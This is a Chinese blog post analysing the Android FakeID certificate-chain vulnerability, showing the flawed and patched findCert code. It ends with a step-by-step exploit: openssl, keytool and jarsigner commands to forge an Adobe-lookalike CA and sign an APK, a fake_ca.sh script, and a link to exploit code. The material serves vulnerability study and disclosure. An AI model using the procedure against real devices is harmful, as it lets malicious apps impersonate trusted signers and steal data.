Android FakeID(Google Bug 13678484) 漏洞详解

开始

继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公布了一个关于APK签名的漏洞——FakeID,并打算在今年的Blackhack上公布更详细的细节,不过作者Jeff Forristal在文中已经给出了不少提示,另外申迪的《FakeID签名漏洞分析及利用》也做了相关介绍。由于其中涉及的知识点较多,所以有部分朋友估计还没有看明白,所以我打算写一篇更加详细漏洞分析解说。

基础概念

在分析之前,有几个基础概念需要普及一下的:

APK包中的MF、SF和RSA文件

完成签名后的APK包中,会多出一个叫META-INF的文件夹,一般情况下会包含MANIFEST.MF、CERT.SF和CERT.RSA三个文件(在多证书签名的情况下,就不止一个RSA文件):

  • MF文件中包含APK的包信息,如manifest文件的版本、签名版本、应用程序的相关属性以及包中所有源文件的SHA1值。
  • SF文件则是在MF文件的基础上,采用SHA1withRSA签名算法进行私钥签名。
  • RSA文件则是APK文件的签名证书,这个文件是一个PEM格式保存的PKCS7公钥证书,PKCS7证书一般会分开两个文件,一个是公钥证书,另一个则是私钥证书,有PEM和DER两种编码方式。PEM比较常见,是纯文件的形式,一般用于分发公钥证书;DER是二进制编码,比较少使用。

这个RSA文件,则是FakeID漏洞利用的关键,下面会详细介绍。

证书链结构及认证原理

一般情况下,我们平时发布的Android应用都是采用自签名的方式,所谓自签名是指公钥证书中Issuer(发布者)和Subject(所有者)是相同的,比如Adobe Flash Player的签书信息如下所示:

所有者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
发布者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
序列号: d7cb412f75f4887e
有效期开始日期: Thu Oct 01 08:23:14 CST 2009, 截止日期: Mon Feb 16 08:23:14 CST 2037

除了通过自签名的方式,我们还可以采用由CA颁发私钥证书进行签发。采用这种方式,最终APK中的公钥证书中,就会包含证书链。这种方式跟签名名的主要区别是最终的公钥证书中,Issuer和Subject是不相同的,而且会存在多于一个证书,证书与证书之间是通过Issuer与Subject进行关联的,Issuer负责对Subject进行认证,下面是证书链的验证示意图:

判断一个证书链是否有效,是一个递归的过程,下面是一个三级证书的验证示意图:

Android对APK的合法性验证

当APK是非签名时,APK中存在证书链,当安装APK时,系统只会链中位于链中最底层的证书对APK文件进行合法性和完整性校验,但并不会验证证书链的有效性。想象这么一个情景:

  • 开发机上生成一个根证书(记作CA),并用这个证书去颁发一个子证书(记作CLIENT);
  • 使用这个子证书对APK签名,这时APK中的RSA文件将包含两个证书,分别是CLIENT和CA,其中系统会使用CLIENT对APK文件进行检验;
  • 因为对这个RSA文件篡改,所CA修改为Adobe Flash Player的CA(记作FakeCA)。由于系统只不会对证书链的合法性进行验证,所以这种修改后APK,依然可以正常安装;

在Android上,要获取APK的证书,可以通过PackageManager.getPackageInfo获取,如下所示:

<span style="white-space:pre">	</span>  <span style="white-space:pre">	</span>PackageManager pm = getPackageManager();
		StringBuilder sb = new StringBuilder();

		try {
			PackageInfo info = pm.getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
			Signature[] sigs = info.signatures;

			for (Signature sig : sigs) {

				/*
				 * Get the X.509 certificate.
				 */
				final byte[] rawCert = sig.toByteArray();
				InputStream certStream = new ByteArrayInputStream(rawCert);

				final CertificateFactory certFactory;
				final X509Certificate x509Cert;

				try {
					certFactory = CertificateFactory.getInstance("X509");
					x509Cert = (X509Certificate) certFactory.generateCertificate(certStream);

					sb.append("Certificate subject: " + x509Cert.getSubjectDN() + "\n");
					sb.append("Certificate issuer: " + x509Cert.getIssuerDN() + "\n");
					sb.append("Certificate serial number: " + x509Cert.getSerialNumber() + "\n");
					sb.append("\n\n");
				} catch (CertificateException e) {
					// e.printStackTrace();
				}
			}

		} catch (NameNotFoundException e) {
			e.printStackTrace();
		}

通过上面的方式,可以达到让APK被Adobe Flash Player官方认证的效果,如下是我自己做的一个FakeCA的DEMO,通过上面代码打印如下所示:

Certificate subject: CN=简行, OU=简行之旅, O=简行之旅, L=杭州, ST=浙江, C=CH
Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate serial number: 13732529592366477909

Certificate subject: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate serial number: 15549593810524997758

看到这里,相信有些朋友已经秒懂了,那么下面的内容就可以不用看了,如果还是有疑问,那请耐心再往下看吧。

漏洞分析

Android上特权签名

Abode Flash Player是Android是以一个WebViewPlugin的方式存在,所有使用WebView控件的应用,网页只要使用了Flash都会加载该插件。下面是验证一个插件是否为Abode Flash Playter插件的的合法性判断代码:

private static boolean containsPluginPermissionAndSignatures(PackageInfo pkgInfo) {
    // check if the plugin has the required permissions
    String permissions[] = pkgInfo.requestedPermissions;
    if (permissions == null) {
        return false;
    }
    boolean permissionOk = false;
    for (String permit : permissions) {
        if (PLUGIN_PERMISSION.equals(permit)) {
            permissionOk = true;
            break;
        }
    }
    if (!permissionOk) {
        return false;
    }

    // check to ensure the plugin is properly signed
    Signature signatures[] = pkgInfo.signatures;
    if (signatures == null) {
        return false;
    }
    if (SystemProperties.getBoolean("ro.secure", false)) {
        boolean signatureMatch = false;
        for (Signature signature : signatures) {
            for (int i = 0; i < SIGNATURES.length; i++) {
                if (SIGNATURES[i].equals(signature)) {
                    signatureMatch = true;
                    break;
                }
            }
        }
        if (!signatureMatch) {
            return false;
        }
    }

    return true;
}

从这段代码,可以看到WebKit是这样认证一个APK是否为Adobe FlashPlayer插件的:

  1. APK证书中是否包含Adobe签名的证书,证书数据是写死在代码中的(PluginManager.SIGNATURE_1),这是Adobe使用的签名
  2. APK申请了android.webkit.permission.PLUGIN权限
  3. APK声明了一个服务,Intent是android.webkit.PLUGIN,有个meta信息是type,type的值必须是native。

通过前面的介绍,最关键第1点,我们已经实现的。

了解WebView插件的开发模式会比较清楚,WebPlugin都是以共享进程的方式直接加载到目标进程,这就达到了进程注入的效果。比如微信中,打开一个WebView加载Flash插件,通过FakeID漏洞,完全可以盗取微信中的所有数据,所以这个漏洞还是危害性还是挺大。

除了Abode 这种HardCode签名外,Android系统中还存在其他的类似的特权签名,在此我直接引用BlueBox的原文:

”In another example, the application with the signature specified by the device’s nfc_access.xml file (usually the signature of the Google Wallet application) is allowed to access the NFC SE hardware. Both of these special signature privileges are hard coded into the Android base code (AOSP). On specific devices, applications with the signature of the device manufacture, or trusted third parties, are allowed to access the vendor-specific device administration (MDM) extensions that allow for silent management, configuration, and control of the device.“

多签名认证

想把FakeID漏洞发挥到极致,我们可以对同一个APK进行多个证书签名,前文也有所提及。这种情况下,META-INF文件夹下就会同时获取多个RSA文件。这样,我们就可以达到一个APK中,同时具备Adobe插件特权,NFC SED硬件控制特权等等,示意图如下:

漏洞分析

产生FakeID漏洞的根本原因是因为安装APK时,系统没有对证书链进行合法性验证,下面分析一下有漏洞的代码。见JarUtils中的createChain和findCert两个方法,createChain的作用是获取APK中的证书链,findCert则是通过子证书的Issur,查找父证书,问题正是出在这个方法。见代码:

private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) {
    for (int i = 0; i < candidates.length; i++) {
        if (<span style="color:#ff0000;">issuer.equals(candidates[i].getSubjectDN())</span>) {
            return candidates[i];
        }
    }
    return null;
}

留意代码中的判断逻辑,只要issuer跟遍历的candidates[i].getSubjectDN()相等即可,这个equal只是简单的做了字符串的对比,就直接认为这个合法的证书,并返回来了。

再看一下Fix后的代码:

private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates,<span style="color:#ff0000;"> X509Certificate subjectCert</span>, <span style="color:#ff0000;">boolean chainCheck</span>) {
    for (int i = 0; i < candidates.length; i++) {
        if (issuer.equals(candidates[i].getSubjectDN())) {
            if (chainCheck) {
                try {
                   <span style="color:#ff0000;"> subjectCert.verify(candidates[i].getPublicKey())</span>;
                } catch (Exception e) {
                    continue;
                }
            }
            return candidates[i];
        }
    }
    return null;
}

Fix后的代码,添加了subjectCert和chainCheck两个参数,添加了证书链的验证。

Exploit

通过前面的分析,这个漏洞利用起来就不难了,不过涉及的到命令比较复杂,在此我把整个过程也描述出来,方便大家学习。

自签发CA权证书

  • openssl genrsa -out ca.key 4096
  • openssl req -new -x509 -days 1826 -key ca.key -out ca.crt

在生成crt文件里,需要注意,必须保证跟Abobe的字段一致,下面是我的例子:

You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:California
Locality Name (eg, city) []:San Jose
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Adobe Systems Incorporated
Organizational Unit Name (eg, section) []:Information Systems
Common Name (e.g. server FQDN or YOUR name) []:Adobe Systems Incorporated
Email Address []:

生成Keystore

  • keytool -genkey -v -keystore clientkeystore -alias CLIENT -keyalg RSA -keysize 2048 -validity 10000

这里自己随便填写即可,下面是我的例子:

输入密钥库口令:
再次输入新口令:
您的名字与姓氏是什么?
  [Unknown]:  简行
您的组织单位名称是什么?
  [Unknown]:  简行之旅
您的组织名称是什么?
  [Unknown]:  简行之旅
您所在的城市或区域名称是什么?
  [Unknown]:  杭州
您所在的省/市/自治区名称是什么?
  [Unknown]:  浙江
该单位的双字母国家/地区代码是什么?
  [Unknown]:  CH
CN=简行, OU=简行之旅, O=简行之旅, L=杭州, ST=浙江, C=CH是否正确?
  [否]:  y

输入 <client> 的密钥口令
	(如果和密钥库口令相同, 按回车):

产生CSR证书请求文件

  • keytool -keystore clientkeystore -certreq -keysize 2048 -alias CLIENT -keyalg RSA -file client.csr

这里需要显式指定keysize为2048,不然之后的签名有可能说不兼容RSA

利用CA签发CLIENT

  • openssl x509 -req -CA ca.crt -CAkey ca.key -in client.csr -out client.cer -days 10000 -CAcreateserial

导入CA根证书和CLIENT二级证书

  • keytool -import -keystore clientkeystore -file ca.crt -alias CA
  • keytool -import -keystore clientkeystore -file client.cer -alias CLIENT

利用CLIENT对APK文件进行签名

  • jarsigner -keystore clientkeystore -sigalg SHA1withRSA -digestalg SHA1 test.apk CLIENT

最后利用我编写的脚本完成FakeCA的修改

  • ./fake_ca.sh
  • adb install out/test.apk

相关的代码,我已经提交到https://github.com/boyliang/Android_FakeID_Exploit

总结

关于如何利用FakeID漏洞实现代码注入,我认为申迪的报告里,已经介绍得很详细了,我也不多做介绍了。

Fake的危害性非常大,自Android2.1到4.4.1都受影响,信接下来的一段时间,会出现大量利用这个漏洞的木马。相比于MasterKey漏洞,FakeID漏洞利用起来更容易,而且”系统兼容性“更好。当然要扫描出这类木马也不难,通过代码验证一下证书链就可以了。

Android FakeID(Google Bug 13678484) 漏洞详解

时间: 2024-11-03 21:44:00

Android FakeID(Google Bug 13678484) 漏洞详解的相关文章

Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施

开始 近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048).这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,可以突破了应用间的权限隔离,达到调用任意私有Activity(exported为false)的目的. 该漏洞影响Android 2.3至4.3固件. 漏洞分析 在分析这个漏洞之前,需要先介绍两个东西. Account管理机制 从Android2.0开始,系统引入了Account管理机制,详细使用说明见Android官

Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施

開始 近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048). 这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,能够突破了应用间的权限隔离.达到调用随意私有Activity(exported为false)的目的. 该漏洞影响Android 2.3至4.3固件. 漏洞分析 在分析这个漏洞之前.须要先介绍两个东西. Account管理机制 从Android2.0開始.系统引入了Account管理机制.具体使用说明见Android

Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

h1, h2, h3, h4, h5, h6, p, blockquote { margin: 0; padding: 0; } body { font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; font-size: 13px; line-height: 18px; color: #737373; background-color: white; margi

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析 作者:简行(又名 低端码农) 继上次Android的LaunchAnyWhere组件安全漏洞后,近期Google在Android 5.0的源代码上又修复了一个高危漏洞.该漏洞简直是LaunchAnyWhere的姊妹版--BroadcastAnyWhere. 通过这个漏洞,攻击者能够以system用户的身份发送广播.这意味着攻击者能够无视一切的BroadcastReceiver组件訪问限制.并

android WebView详解,常见漏洞详解和安全源码(下)

上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑. 上篇:android WebView详解,常见漏洞详解和安全源码(上) 转载请注明出处:http://blog.csdn.net/self_study/article/details/55046348 对技术感兴趣的同鞋加群 544645972 一起交流. WebView 常见漏洞 WebView 的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞,知会一下我-- WebView

android WebView详解,常见漏洞详解和安全源码

这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 由于博客内容长度,这次将分为上下两篇,上篇详解 WebView 的使用,下篇讲述 WebView 的漏洞和坑,以及修复源码的解析. 下篇:android WebView详解,常见漏洞详解和安全源码(下) 转载请注明出处:http://blog.csdn.net/self_study/article/details/54928371. 对技术感兴趣的同鞋加群 54

Android 4.4 KitKat NotificationManagerService使用详解与原理分析(二)__原理分析

前置文章: <Android 4.4 KitKat NotificationManagerService使用详解与原理分析(一)__使用详解> 转载请务必注明出处:http://blog.csdn.net/yihongyuelan 概况 在上一篇文章<Android 4.4 KitKat NotificationManagerService使用详解与原理分析(一)__使用详解>中详细介绍了NotificationListenerService的使用方法,以及在使用过程中遇到的问题和

Android实习札记(6)---ViewPager使用详解

Android实习札记(6)---ViewPager使用详解                                    --转载请注明出处:coder-pig 札记(5)中介绍了Fragment构建简单的底部导航栏,在结尾的时候说要在下一节中,结合Viewpager 实现进入软件时的引导界面,说到ViewPager,很多朋友都用过,不过只知道粘贴复制,连一些基本的 东西都不知道,那是不行的,在本节中就先讲下ViewPager的一些基本概念吧! 1.首先ViewPager在哪个包下?

Android AndroidManifest 清单文件以及权限详解

每个Android应用都需要一个名为AndroidManifest.xml的程序清单文件,这个清单文件名是固定的并且放在每个Android应用的根目录下.它定义了该应用对于Android系统来说一些非常重要的信息.Android系统需要这些信息才能正常运行该应用.Android程序清单文件主要具有下面作用: ·        它给应用程序Java包命名,这个包名作为应用程序唯一标识符. ·        它描述了应用程序中的每个程序组件-Activity,Service,Broadcast Re